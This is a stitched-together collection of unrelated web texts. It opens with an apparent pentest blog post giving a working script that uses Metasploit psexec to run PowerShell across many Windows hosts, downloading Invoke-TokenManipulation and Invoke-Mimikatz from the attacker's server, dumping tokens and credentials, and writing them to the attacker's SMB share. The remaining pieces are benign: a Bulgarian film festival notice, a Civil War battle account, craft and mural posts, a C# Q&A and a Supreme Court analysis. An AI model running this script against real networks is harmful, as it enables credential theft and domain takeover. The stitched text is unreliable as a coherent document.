I've been searching quite a while now for the best way to search for domain admin tokens, once admin rights are attained on a large number of systems during a pentest. Normally, I run "psexec_loggedin_users" within Metasploit, spool the output to a file, then egrep it for users in the "Domain Admins" group. This often works, but can easily miss systems that have a domain admin kerberos security token still loaded in memory. There are a couple of "Token_Hunter" post modules, but you need to have a shell on the systems to run them, which can take a long time to establish, load incognito, and list tokens. As much as I love shellz, I certainly don't care to have a couple thousand of them connecting back to my machine. So, I think I've finally pieced together a viable method from a couple of articles posted around the Internet.
Then create the folder and grant full permissions. I created a folder named "tokens" under "loot".
This will download "Invoke-TokenManipulation.ps1" from my web host, execute it within memory to enumerate tokens, and pipe the output to my SMB share into a file named as the computer.
Now, I just use the "psexec_command" module within Metasploit to execute my encoded string on all systems and rain down tokens into my share.
chaining commands with '&' does not work and users shouldn't try it.
[-] 192.168.81.10:445 - Unable to cleanup. Maybe you'll need to manually remove true, false from the target.
Then, just egrep the files to enumerate any domain admins.
All that's left is to pop a shell on that system, impersonate their token, and escalate privileges on the domain.
Full script source provided below. Happy Hunting!
attacker_ip = "<put your IP here>"
powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1\");Invoke-TokenManipulation -Enumerate |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\tokens\\$env:computername.txt"
powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1\");Invoke-Mimikatz -DumpCreds |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\passwords\\$env:computername.txt"


Between January 20th and 22nd, the central cinema in Prague "Svetozor" will host the Days of Bulgarian cinema, which will offer an overall look at the modern Bulgarian cinematography.
Audiences can choose between the most famous feature, documentary and animated films, created in Bulgaria over the last few years.
The official opening was on January 20th at 20:30, with the Czech premiere of the Bulgarian film "Zift" (cinematography by Emil Hristov), and a cast Zahary Baharov, Tanya Ilieva, Vladimir Penev and others.


On May 2nd, Lee called his commanders together and advised he thought the Federal Army, now under General Grant, would make a move across the Rapidan in the near future. Sure enough, two days later, scouts on Clark's Mountain signalled Grant's men were on the move. By 1:00 pm on the 4th, Hill's men were enroute to intercept. With Ewell's Corps advancing toward the Wilderness on the Orange Turnpike, Hill's forces moved up the Orange Plank Road in the same direction. This was the same Wilderness area that Lee had won such a glorious victory at the Battle of Chancellorsville. Now, with 64M men, he faced a Union force of over 120M, and a new commander.
Ewell's forces were the first to make contact, on what would become Lee's left flank. Realizing Hill's men could cut off an entire corps if they were able to make it to the Brock Road intersection, Grant sent in Getty's Division from the VI Corps to hold it. The battle on the right flank would become a see-saw battle in forest that limited visibility to 20 yards. Initially, Hill's front division under Heth successfully pushed the Union forces back. When reinforcements from Hancock's 2nd Corps began arriving, the tide shifted. Wilcox's division was by now, located around the Chewning farm, an unwooded high spot in the center. It was here that Hill's forces joined with Ewell's right flank. Two of Wilcox's brigades were sent to reinforce Heth, while Thomas Georgian's maintained their support of Poague's battalion of artillery.
As more and more of Hancock's men arrived and were rushed into the battle against Hill, Thomas' brigade was sent to reinforce Kirkland's North Carolinian's under Heth, who were under heavy attack. Thomas sent his men charging into a Federal column, only to receive heavy fire from their flank. Soon they were nearly surrounded in the forest, fighting at right angles to one another, and in some cases, back to back. As darkness fell, the firing began to cease. Hill had escaped disaster against overwhelming odds; his 15,000 men holding back 40,000 Federal's. Every armed man he had was on the line now. He had even robbed Gen Lee's 5th Alabama, a decimated regiment of only 125 men, now assigned to provost marshal duties. These men had completely fooled Wadsworth's Iron Brigade into believing they were a much larger force, and secured the gap between Ewell and Hill.
In the dark, troops fired nervously at anything that moved. Friend and foe were in some places were within a few feet of one another. Those who ventured out to help a wounded comrade or gather water, were captured. Small fires smoldered and the smell of burning flesh permeated the air. Najor General John Gibbob inhis official report wrote "The weather being very dry and hot, the woods soon took fire, and many of our poor wounded were burned to death." Heth and Wilcox were so concerned about the total disarray of their forces, that they requested Hill allow them to pull the men back and reorganize them. Hill refused to relinquish ground. Assured by Gen Lee that reinforcements under Longstreet would arrive early in the morning, he let his men rest.
The following morning, Longstreet arrived at Lee's headquarter's around 5 a.m., but with his forces far behind. As he was being greeted, the woods came alive as Hancock attacked Hill with his full force. Hill's veteran's, now used to advancing and falling back, put up a stiff fight. They loaded and fired, as they slowly fell back. But against the overwhelming firepower of Hancock's advancing Corps, the withdrawal picked up speed. A Georgia private* in Thomas' brigade later wrote, "The enemy advanced in three columns cross-firing on our Brigade from three directions from the front, right flank, and rear..." Thomas wrote that his men, while attempting a manuever, "into line faced to the rear, the regiment under a fearfully galling fire, and in the dense woods, fell back in confusion." Hill and Lee both, entered the mass of withdrawing troops, cursing, demanding and even begging them to hold. But it was to no avail. The Confederate Corps was simply overwhelmed. But as fast as the Confederate's were retreating, the Union forces began to have difficulty advancing. Their troops were in such disorder, that in places huge masses of blue coated soldiers milled around looking for their own regiment, while in other places, not a blue jacket was to be seen.
Monument near Widow Tapp Farm...field located near where Thomas' men fought in woods.
The situation became so perilous, that when Union forces broke into a clearing, Hill had to order artillery to fire over and into his own men to stop their advance. This momentarily stopped the Union advance, but as they swung around to flank the cannons, and all seemed loss, Longstreet's men poured up the road. It was a complete reversal of Antietam. There, Hill's last minute arrival had kept Longstreet's Corps from collapsing. Now, for a second time, Lee had come within a hair's breath of losing the war. But this time, it was Longstreet who arrived in the nick of time. Led by his Texan's, Longstreet's men turned off the road, and under fire, formed into position. After advancing nearly 1000 yards, and now completely disorganized, Hancock's men could not handle Longstreet's attack. Within minutes,it was the Union forces in hasty retreat as Longstreet's men poured into the forest after them. Hill's men, quickly reorganized, were sent to protect the center between Ewell and Longstreet. There they found the Union IX Corps and attacked. On the left, Ewell attacked. Throughout the remainder of the day, the battle raged. When night fell for a second time on the battlefield, the two armies were basically where they had started. On May the 7th, scouts reported Grant was pulling out, but unlike all Union commanders before him, was not withdrawing. Instead he was heading toward Spotsylvania.
A picture of the human remains of an unburied soldier. This photo was taken shortly after the battle, in the vicinity where the 35th fought, north of the Plank Road. It is thought the deceased is a Union soldier, that burnt in one of the many fires that raged through the forest during the fight. Note the desolation to the forest left by the battle and the fire.
The battle had gained neither army anything but casualties. Grant's army suffered nearly 16M casualties, while Lee's Army of Northern Virginia had suffered over 11M. Hill had lost nearly half his corps, with 7000 of his 15000 men, dead, wounded, or missing. The 35th Georgia would loose 4 killed, 22 wounded and 23 missing in the engagement. Exactly who the 35th was facing in this battle is impossible to determine at this time, if ever. Troops were faced in different directions, and tangled in the heavy woods. Even batle maps are unclear on the location of the Geogian's under Thomas> Even General Hancock in his official report stated "No movements of the enemy could be observed until the lines were almost in collision; only the roar of the musketry disclosed the position of the combatants"
By the evening on the 7th, Hill's beaten force was once again marching. Lee was in pursuit and wanted to get to Spotsylvania before Grant did. The preceding winter was the last rest Thomas' Georgian's would have for a very long time.


I had a blast creating handmade Valentine's Day cards with the ladies of Craft Box Girls last Thursday at Paper Source. It was a nice break from our busy schedule to just relax and do what we love most. My creative juices were flowing high and crafting with my favorite DIY girls make the event so much more inspiring. I learned so much and wondered why I haven't stayed in the loop about all these paper crafting trends like marbleizing paper and embossing powder. I was totally slipping!
We made four Valentine's Day cards that I thought were absolutely darling! I think I'll just keep these for myself. Here are some photos from the workshop. The ladies at Paper Source were very creative and knowledgeable. You have to take a workshop from them one of these days.
In case you don't know who is who, the first picture is Lynn Lilly, CBG CEO. Then there's Rosanna, CBG's Chief of Operations, looking at Laura, DIY blogger, layering her floral card. Then there is me, CBG Director of Content, showing off my cupid arrow card. Below is Lynn marbleizing a sheet of Luxe White paper in grey and white.
After the marble paper is dry, I ran the heart through an X-Box to make the blush heart adhesive for the marble paper to stick without curling. I stamped the heart with a Love stamp on clear ink, sprinkle embossing powder on it and melt it down with a torch for a copper sealed look. It's like magic! Here is another card using embossing powder and watercolors.
Here are the other two cards we made. I'm so inspired to make a ton of cards just because!
If you love these Valentine's Day cards as much as I do then swing by any craft store and look for embossing and cardmaking supplies today!


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You may think, "why would I want a large mural in my home?" As displayed in these pictures, it can look really great! If you like simplistic design, don't like clutter in your room and office, and want that 'punch' of color and personality, such an installation would be great for Ju!
As you can tell, murals can really make a bold statement! These hotel and restaurant images are some of our favorite. They seem to catch the industrial vibe of these commercial locations and infuse your soul with their personality.
I can't help but feel I'm actually overlooking the San Francisco Bay, but who knows, we could really be sitting in a small cafe in Iowa- the magic of murals!
Lisa Escobar Design used two different large scale murals in a design for Mac Shack in Summerlin. We love these prints because they go along perfectly with the menu and trendy, yet family friendly, vibe of the space.
This NYC mural is basically like paying for the suite with a view, minus the up-cost.
There are so many ways to fix up an empty wall of your home. Here are a few more great ways murals can spice up your life!
What do you think? Would you ever try some mural magic out in your home or business? As we learn more about murals ourselves, we came across one company, Easy Wallz, that even allows you to upload your high-def pictures and make your own wall mural! We think that's an interesting way to remember your favorite vacation memories, display a family picture of your own, or maybe spice up the kids playroom.
For more mural fun, check out another APJ post when Lisa visited Detroit HERE.


text:
Q: Compare Two Enum Values Cast to Object I created a custom UserControl. Inside it there is a ComboBox which is filled with the values of an enumerator during initialization:
m_ComboBox.Items.AddRange((Object[])Enum.GetValues(typeof(Categories)));

Since I want to keep track of the previous ComboBox.SelectedItem, I created a variable in which I store its last value:
private Object m_LastCategory;

private void ComboBoxSelectedIndexChanged(Object sender, EventArgs e)
{
    if (m_ComboBox.SelectedItem != m_LastCategory)
        DoSomething();

    m_LastCategory = m_ComboBox.SelectedItem;
}

The if statement is not working as expected. Actually, even if m_LastCategory and the current SelectedItem are different (and I know it for sure), it always returns true.
I know, I could simply cast both variables back to enum and then compare them getting the right result. But I was using Object in order to avoid a constant boxing/unboxing of the values and keep my code more elegant. So I would like to know if there is a way to deal with this issue.
The only working alternative I found so far is this one:
if (m_ComboBox.SelectedItem.ToString() != m_LastCategory.ToString())

And I'm still not sure it's a correct way to proceed.

A:
I know, I could simply cast both variables back to enum and then
  compare them getting the right result.

Do that. Object equality by default is reference equality, i.e. are those two references pointing to the same location in memory. Two boxed enums are two objects at two different locations in memory, which is why they are always unequal regardless of the value they contain.
In addition, it's in general a good idea to retain as much type information as you can; this lets the compiler help you write correct programs. Typing your m_LastCategory variable as Object works against this principle.

redpajama_set_name: RedPajamaStackExchange


text:
2014 Term, justices
Will Ghosts of Past Decisions Come Back to Haunt This Term?
Posted by Dr. Adam Feldman on May 23, 2016 May 24, 2016
Do Supreme Court Justices abide by the Court's past precedents in cases where such precedents are not overruled? Political Scientists have long debated this question with differing accounts based on ideological theory, strategic theory, and post-behavioralism. Without getting lost in the weeds of this debate this post takes a look at the Justices' votes in previous cases similar to the ones they have yet to rule on this Term. While strategy would suggest the liberal Justices have the potential to move policy to the left of its current position those who believe in an adherence to the rule of law may argue against such behavior. Surely the Justices are not bound by the Court's prior decisions but their votes may give insights into their perspectives on the issues in the pending cases (and into which cases may end with an evenly divided Court).
First a few notes: some of the Court's recent prior cases are much similar to the pending cases than others and the more attenuated the past cases are to the current cases the harder it is to gauge the role a Justice's prior decision will or should play in a pending case. The comparative cases are also subjective choices and there is sufficient room to debate whether there are other cases that are more on point when relating to issues in the pending cases. If a Justice is no longer on the Court I put their name in parentheses within the area listing the Justices' votes below.
To begin I have examples from four already decided cases from this Term (three decided today 5/23/2006):
Case: Zubik v. Burwell
Question: Whether the HHS Mandate and its "accommodation" violate the Religious Freedom Restoration Act ("RFRA") by forcing religious nonprofits to act in violation of their sincerely held religious beliefs, when the Government has not proven that this compulsion is the least restrictive means of advancing any compelling interest.
Comparative Case: Burwell v. Hobby Lobby Stores(2014)
Question: "whether the Religious Freedom Restoration Act of 1993 (RFRA), 107 Stat. 1488, 42 U.S.C. § 2000bb et seq., permits the United States Department of Health and Human Services (HHS) to demand that three closely held corporations provide health-insurance coverage for methods of contraception that violate the sincerely held religious beliefs of the companies' owners."
Votes for RFRA protection: Alito, Roberts, Kennedy, Thomas, (Scalia)
Against: Ginsburg, Sotomayor, Breyer, Kagan
Outcome in Zubik: Per-Curiam: Vacated and remanded
Zubik present an apt example of a salient cases where the Justices likely held their previous positions. Although we don't have the Justices actual votes in the case, the outcome suggests a four-four split with the absence of Justice Scalia.
In terms of today's rulings:
Case: Foster v. Chatman
Question: Did the Georgia courts err in failing to recognize race discrimination under Batson in the extraordinary circumstances of this death penalty case?
Comparative Case: Felkner v. Jackson (2011)
Holding: "The Batson issue before us turns largely on an "evaluation of credibility." The trial court's determination is entitled to "great deference," and 'must be sustained unless it is clearly erroneous,'"
Vote: Per Curiam (no dissents)
Foster outcome
Court Error: Roberts, Kennedy, Ginsburg, Breyer, Sotomayor, Kagan, Alito
Against: Thomas
Case: Green v. Brennan
Question: Under federal employment discrimination law, does the filing period for a constructive discharge claim begin to run when an employee resigns, as five circuits have held, or at the time of an employer's last allegedly discriminatory act giving rise to the resignation, as three other circuits have held?
Comparative Case: Ledbetter v. Goodyear Tire (2007)
Holding: Because the later effects of past discrimination do not restart the clock for filing an EEOC charge, Ledbetter's claim is untimely
Vote Filing Untimely: Alito, Roberts, Kennedy, Thomas, (Scalia)
Against: Ginsburg, Breyer, (Stevens), (Souter)
Green outcome: Period begins after employee resigns: Sotomayor, Roberts, Kennedy, Ginsburg, Kagan, Breyer, Alito
Case: Wittman v. Personhuballah
Question: Whether the court below erred in failing to make the required finding that race rather than politics predominated in District 3, where there is no dispute that politics explains the Enacted Plan.
Comparative Case: Alabama Legislative Black Caucus Alabama (2015)
Holding: The District Court's analysis of the racial gerrymandering claim as referring to the State "as a whole," rather than district-by-district, was legally erroneous.
Vote Majority: Breyer, Kennedy, Ginsburg, Sotomayor, Kagan
Against: Roberts, Alito, Thomas, (Scalia)
Wittman Holding: Unanimous against redistricting plan
Now for the cases yet to be decided this Term:
Case: Dollar General Corporation v. Mississippi Band of Choctaw Indians,
Question: Whether Indian tribal courts have jurisdiction to adjudicate civil tort claims against nonmembers, including as a means of regulating the conduct of nonmembers who enter into consensual relationships with a tribe or its members?
Comparative Case: Plains Commerce Bank v. Long Family Land and Cattle (2008)
Holding: Tribe had authority to regulate the business conduct of persons voluntarily dealing with tribal members, including a nonmember'ssale of fee land.
Vote allow tribe to regulate: Roberts, Thomas, Alito, Kennedy, (Scalia)
Against: (Stevens), Ginsburg, (Souter), Breyer
Case: Fisher v. University of Texas at Austin (the previous Fisher remand did not give us very much to build on)
Question: Whether the Fifth Circuit's re-endorsement of the University of Texas at Austin's use of racial preferences in undergraduate admissions decisions can be sustained under this Court's decisions interpreting the Equal Protection Clause of the Fourteenth Amendment, including Fisher v. University of Texas at Austin, 133 S. Ct. 2411 (2013).
Comparative Case: Schutte Coalition to Defend Affirmative Action (2013) [the previous Fisher ruling did not give much to build on]
Holding: There is no authority in the Constitution of the United States or in this Court's precedents for the Judiciary to set aside Michigan laws that commit this policy determination to the voters.
Uphold policy: Kennedy, Alito, Roberts, (Scalia), Thomas, Breyer
Against: Ginsburg, Sotomayor
Case: Puerto Rico v. Sanchez Valle
Question: Whether the Commonwealth of Puerto Rico and the Federal Government are separate sovereigns for purposes of the Double Jeopardy Clause of the United States Constitution.
Comparative Case 1: Boumediene v. Bush (2008)
Holding: Petitioners have the constitutional privilege of habeas corpus. They are not barred from seeking the writ or invoking the Suspension Clause's protections because they have been designated as enemy combatants or because of their presence at Guantanamo.
Laws of US apply: Kennedy, Ginsburg, Breyer, (Stevens), (Souter)
Comparative Case 2: Evans v. Michigan (2013)
Holding: Retrial following a court-decreed acquittal is barred, even if the acquittal is "based upon an egregiously erroneous foundation"
Double Jeopardy bar: Sotomayor, Kennedy, Ginsburg, Breyer, Kagan, Thomas, (Scalia)
Against: Alito
Case: Kingdomware Technologies v. U.S.
Question: Whether the Federal Circuit erred in construing 38 U.S.C. § 8127(d)'s mandatory set aside restricting competition for Department of Veterans Affairs' contracts to veteran-owned small businesses as discretionary.
Comparative Case: Leegin Creative v. PSKS (2007)
Holding: Notwithstanding the risks of unlawful conduct, it cannot be stated with any degree of confidence that retail price maintenance "always or almost always tend[s] to restrict competition and decrease output,"
Not a restriction: Kennedy, Roberts, Alito, Thomas, (Scalia)
Case: Utah v. Strieff
Question: Whether evidence seized incident to a lawful arrest on an outstanding warrant should be suppressed because the warrant was discovered during an investigatory stop later found to be unlawful.
Comparative Case: Virginia v. Moore (2008)
Holding: The police did not violate the Fourth Amendment when they made an arrest that was based on probable cause but prohibited by state law, or when they performed a search incident to the arrest.
Vote: Unanimous
Case: Stryker Corp. v. Zimmer
Whether the Federal Circuit improperly abrogated the plain meaning of 35 U.S.C. § 284 by forbidding any award of enhanced damages unless there is a finding of willfulness under a rigid, two-part test, when this Court recently rejected an analogous framework imposed on 35 U.S.C. § 285, the statute providing for attorneys' fee awards in exceptional cases.
Comparative Case: Octane Fitness v. Icon Health (2013)
Holding: Brooks Furniture [ruling] is too restrictive in defining the two categories of cases in which fee awards are allowed.
Case: Taylor v. U.S.
Question: Whether, in a federal criminal prosecution under the Hobbs Act, 18 U.S.C. § 1951, the government is relieved of proving beyond a reasonable doubt the interstate commerce element by relying exclusively on evidence that the robbery or attempted robbery of a drug dealer is an inherent economic enterprise that satisfies, as a matter of law, the interstate commerce element of the offense.
Comparative Case: Smith v. United States (2013)
Holding: To convict a defendant of narcotics or Racketeer Influenced and Corrupt Organizations Act conspiracy, the government must prove beyond a reasonable doubt that two or more people agreed to commit a crime covered by the specific conspiracy statute
Case: Williams v. Pennsylvania
Question: Whether the Eighth and Fourteenth Amendments are violated where a state supreme court justice declines to recuse himself in a capital case in which he had personally approved the decision to pursue capital punishment against the defendant in his prior capacity as an elected prosecutor
Comparative Case: Caperton v. A.T. Massey Coal (2009)
Holding: The Due Process Clause incorporated the common-law rule requiring recusal when a judge has "a direct, personal, substantial, pecuniary interest" in a case,
Should recuse: Kennedy, (Stevens), (Souter), Ginsburg, Breyer
Case: Voisine v. U.S.
Question: Whether a misdemeanor crime with the mens reaof recklessness qualifies as a "misdemeanor crime of domestic violence" as defined by 18 U.S.C. §§ 921(a)(33)(A) and 922(g)(9);
Comparative Case: United States v. Castleman (2014)
Holding: previous conviction for "intentionally or knowingly caus[ing] bodily injury to" the mother of his child, qualifies as a "misdemeanor crime of domestic violence"
Case: Whole Woman's Health v. Hellerstedt,
Question: Whether, when applying the "undue burden" standard of Planned Parenthood v. Casey, a court errs by refusing to consider whether and to what extent laws that restrict abortion for the stated purpose of promoting health actually serve the government's interest in promoting health
Comparative Case: Gonzales v. Carhart (2007)
Holding: Respondents have not demonstrated that the Act, as a facial matter, is void for vagueness, or that it imposes an undue burden on a woman's right to abortion based on its overbreadth or lack of a health exception
Majority: Roberts, Kennedy, Thomas, (Scalia), Alito
Against: Against: Ginsburg, Breyer, (Stevens), (Souter)
Case: RJR Nabisco v. The European Community
Question: Whether, or to what extent, the Racketeer Influenced and Corrupt Organizations Act ("RICO") applies extraterritorially.
Comparative Case: Kiobel v. ROYAL DUTCH PETROLEUM CO.
Holding: The presumption against extraterritoriality applies to claims under the ATS, and nothing in the statute rebuts that presumption
Case: Simmons v. Himmelreich
Question: Whether a final judgment in an action brought under Section 1346(b) dismissing the claim on the ground that relief is precluded by one of the Federal Tort Claims Act's exceptions to liability, 28 U.S.C. § 2680, bars a subsequent action
Comparative Case: B&B Hardware v. Hargis Industries (2015)
Holding: So long as the other ordinary elements of issue preclusion are met, when the usages adjudicated by the TTAB are materially the same as those before a district court, issue preclusion should apply
Preclusion should apply: Alito, Ginsburg, Roberts, Kennedy, Breyer, Sotomayor, Kagan
Against: Against: Thomas, (Scalia)
Case: Acosta-Febo v. Franklin California Tax-Free Trust
Question: Whether Chapter 9 of the federal Bankruptcy Code, which does not apply to Puerto Rico, nonetheless preempts a Puerto Rico statute creating a mechanism for the commonwealth's public utilities to restructure their debts.
Comparative Case: Arizona v. United States (2012)
Holding: An Arizona statute known as S. B. 1070 was enacted in 2010 to address pressing issues related to the large number of unlawful aliens in the State. Held that law enjoined as preempted.
Preempts: Kennedy, Roberts, Ginsburg, Breyer, Sotomayor
Against: (Scalia), Thomas, Alito
Case: Ross v. Blake
Question: Whether the Fourth Circuit misapplied this Court's precedents in holding, in conflict with several other federal courts of appeals, that there is a common law "special circumstances" exception to the Prison Litigation Reform Act that relieves an inmate of his mandatory obligation to exhaust administrative remedies when the inmate erroneously believes that he satisfied exhaustion by participating in an internal investigation.
Comparative Case: Heimeshoff v. Hartford Life (2013)
Holding: The Plan's limitations provision is enforceable.
Case: U.S. Army Corps of Engineers v. Hawkes Co.
Question: Whether the United States Army Corps of Engineers' determination that the property at issue contains "waters of the United States" protected by the Clean Water Act, constitutes "final agency action for which there is no other adequate remedy in a court," and is therefore subject to judicial review under the Administrative Procedure Act.
Comparative Case: Sackett v. EPA (2012)
Holding: The Sacketts may bring a civil action under the APA to challenge the issuance of the EPA's order.
Case: U.S. v. Texas
Question: Whether a state that voluntarily provides a subsidy to all aliens with deferred action has Article III standing and a justiciable cause of action under the Administrative Procedure Act (APA) to challenge the Secretary of Homeland Security's guidance seeking to establish a process for considering deferred action for certain aliens because it will lead to more aliens having deferred action
Comparative Case: NLRB v. Canning (2014) [Executive power]
Holding: Because the Senate was in session during its pro forma sessions, the President made the recess appointments at issue during a 3-day recess. Three days is too short a time to bring a recess within the scope of the Clause, so the President lacked the authority to make those appointments.
Case: U.S. v. Bryant
Question: Whether reliance on valid uncounseled tribal-court misdemeanor convictions, in order to prove 18 U.S.C. § 117(a)'s predicate-offense element, violates the Constitution.
Holding: The Tribal Court did not have jurisdiction to adjudicate a discrimination claim concerning the non-Indian Bank's sale of its fee land.
Tribal court action insufficient: Roberts, Scalia, Kennedy, Thomas, Alito
Case: Universal Health Services v. U.S. ex rel. Escobar
Question: Whether the "implied certification" theory of legal falsity under the FCA – applied by the First Circuit below but recently rejected by the Seventh Circuit – is viable;
Comparative Case: Gross v. FBL Financial Services (2009)
Holding: Because the FCA does not define "report," the Court looks first to the word's ordinary meaning. Dictionaries define "report" as, for example, something that gives information. This ordinary meaning is consistent with the public disclosure bar's generally broad scope
Follow theory of FCA: Thomas, Roberts, Kennedy, Alito, (Scalia)
Against: Ginsburg, Sotomayor, Breyer
Case: Encino Motorcars, LLC v. Navarro
Question: Whether "service advisors" at car dealerships are exempt under 29 U.S.C. §213(b)(10)(A) from the Fair Labor Standards Act's overtime-pay requirements.
Comparative Case: Christopher v. SmithKline Beecham (2012)
Holding: Petitioners (pharmaceutical sales representatives) qualify as outside salesmen under the most reasonable interpretation of the DOL's regulations
Qualifies: Alito, Roberts, Kennedy, Thomas, (Scalia)
Against: Breyer, Ginsburg, Sotomayor, Kagan
Case: Birchfield v. North Dakota
Question: Whether, in the absence of a warrant, a state may make it a crime for a person to refuse to take a chemical test to detect the presence of alcohol in the person's blood.
Comparative Case: Missouri v. McNeely (2013)
Holding: "concluding that in drunk-driving investigations, the natural dissipation of alcohol in the bloodstream does not constitute an exigency in every case sufficient to justify conducting a blood test without a warrant"
Not exigent: Sotomayor, Kennedy, Ginsburg, Kagan, (Scalia), Ginsburg
Against: Roberts, Breyer, Alito, Thomas
Case: Kirtsaeng v. John Wiley & Sons
Question: What constitutes the appropriate standard for awarding attorneys' fees to a prevailing party under section 505 of the Copyright Act.
Comparative Case: Highmark v. Allcare Health (2013)
Holding: "Petitioner Highmark Inc. moved for fees under the Patent Act's fee-shifting provision, which authorizes a district court to award attorney's fees to the prevailing party in "exceptional cases." 35 U.S.C. §285. The District Court found the case "exceptional" and granted Highmark's motion. The Federal Circuit, reviewing the District Court's determination de novo, reversed in part."
Vote Federal Circuit standard too narrow: Unanimous
Case: Cuozzo Speed Technologies, LLC v. Lee
Question: Whether the court of appeals erred in holding that, in inter partes review (IPR) proceedings, the Patent Trial and Appeal Board may construe claims in an issued patent according to their broadest reasonable interpretation rather than their plain and ordinary meaning
Comparative Case: Teva Pharmaceuticals v. Sandoz (2015)
Holding: When reviewing a district court's resolution of subsidiary factual matters made in the course of its construction of a patent claim, the Federal Circuit must apply a "clear error," not a de novo,standard of review
Deference standard: Breyer, Roberts, (Scalia), Kennedy, Ginsburg, Sotomayor, Kagan
Against: Alito, Thomas
Case: Mathis v. U.S.
Question: Whether a predicate prior conviction under the Armed Career Criminal Act must qualify as such under the elements of the offense simpliciter, without extending the modified categorical approach to separate statutory definitional provisions that merely establish the means by which referenced elements may be satisfied rather than stating alternative elements or versions of the offense.
Comparative Case: Johnson v. United States (2010)
Holding: "Imposing an increased sentence under ACCA's residual clause violates due process."
No enhancement: (Scalia), Roberts, Ginsburg, Breyer, Sotomayor, Kagan, Kennedy
Case: Dietz v. Bouldin
Question: Whether, after a judge has discharged a jury from service in a case and the jurors have left the judge's presence, the judge may recall the jurors for further service in the same case.
Comparative Case: Blueford v. Arkansas (2012)
Holding: "After deliberating for a few hours, the jury reported that it could not reach a verdict. The court inquired about the jury's progress on each offense. The foreperson disclosed that the jury was unanimous against guilt on the charges of capital murder and first-degree murder, was deadlocked on manslaughter, and had not voted on negligent homicide. The court told the jury to continue to deliberate. The jury did so but still could not reach a verdict, and the court declared a mistrial. When the State subsequently sought to retry Blueford, he moved to dismiss the capital and first-degree murder charges on double jeopardy grounds…. The Double Jeopardy Clause does not bar retrying Blueford on charges of capital murder and first-degree murder."
No bar: Roberts, Scalia, Kennedy, Thomas, Breyer, Alito
Against: Sotomayor, Ginsburg, Kagan
Case: McDonnell v. U.S.
Question: Whether "official action" under the controlling fraud statutes is limited to exercising actual governmental power, threatening to exercise such power, or pressuring others to exercise such power, and whether the jury must be so instructed; or, if not so limited, whether the Hobbs Act and honest-services fraud statute are unconstitutional.
Comparative Case: United States v. Sun Diamond Growers (1999)
Holding: In order to establish a § 201(c)(1)(A) violation, the Government must prove a link between a thing of value conferred upon a federal official and a specific "official act" for or because of which it was given.
Vote Unanimous; Justices still on the Court – Kennedy, Thomas, Ginsburg, Breyer
Attitudinal ModelBurwell v. Hobby Lobbyfoster v. chapmangreen v. brennanHarold SpaethHoward GillmanJack KnightJeffrey SegalJudicial StrategyLee EpsteinPost-behavioralismWittman v. PersonhuballahZubik v. Burwell
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text:
Shenzhou 13 astronauts conduct second space walk
Astronauts on China's space station have conducted their second space walk of the Shenzhou 13 mission. On October 16, the three member crew embarke...
CGTN Europe • 2m 4s
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artsyfartsymamadeb • This entry was posted in children, Crafts, Family Life, Photos, Uncategorized, Wordpress challenges and tagged Crafts, pom poms, quiet time, tea time, textures, toddler activity, weeklyphotochallenge. Bookmark the permalink.
Adorable and it was not a fail if the toddler had fun!
Thank you! It's been months and she still plays with pom poms in her toy dishes.